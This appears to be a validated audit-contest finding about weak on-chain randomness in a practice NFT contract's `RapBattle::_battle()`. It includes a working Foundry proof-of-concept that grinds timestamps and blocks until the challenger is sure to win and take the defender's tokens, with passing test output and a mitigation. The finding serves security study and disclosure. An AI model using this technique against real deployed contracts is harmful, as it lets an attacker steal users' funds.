Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Weak randomness in `RapBattle::_battle()` allows the challenger to be the winner

Description

Hashing msg.sender, block.timestamp and block.prevrandao creates a predictable final number. It is not a good random number. Malicious users can manipulate theses values or know ahead of time to choose the winner rap battle themselves.

Impact

A challenger can choose to be the winner of the rap battle, winning the CRED every time.

Proof of Concept

Add the following to the OneShotTest.t.sol test suite.

Code
function test_weakRngBattle() public twoSkilledRappers {
// User (defender) setup
uint256 oldUserBalance = cred.balanceOf(user);
console.log("Current user balance: ", oldUserBalance);
uint256 userTokenId = 0;
vm.startPrank(user);
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), 10);
rapBattle.goOnStageOrBattle(userTokenId, 3);
vm.stopPrank();
// Challenger (attacker) setup
uint256 oldChallengerBalance = cred.balanceOf(challenger);
console.log("Current challenger balance: ", oldChallengerBalance);
uint256 challengerTokenId = 1;
uint256 defenderRapperSkill = rapBattle.getRapperSkill(userTokenId);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(challengerTokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
for (random; random <= defenderRapperSkill;) {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
}
// from here, random is superior to defenderRapperSkill everytime
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), challengerTokenId);
cred.approve(address(rapBattle), 10);
console.log("** FIGTH **");
rapBattle.goOnStageOrBattle(challengerTokenId, 3);
vm.stopPrank();
uint256 newChallengerBalance = cred.balanceOf(challenger);
uint256 newUserBalance = cred.balanceOf(user);
console.log("New challenger balance: ", newChallengerBalance);
console.log("New user balance: ", newUserBalance);
assert(newChallengerBalance > oldChallengerBalance);
assert(newUserBalance < oldUserBalance);
assert(newChallengerBalance == (oldChallengerBalance + oldUserBalance - newUserBalance));
}

Results: forge test --mt test_weakRngBattle -vv
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] test_weakRngBattle() (gas: 645111)
Logs:
Current user balance: 4
Current challenger balance: 4
** FIGTH **
New challenger balance: 7
New user balance: 1
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.13ms

Recommended Mitigation

Consider using an oracle (off-chain data) for your randomness like Chainlink VRF.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.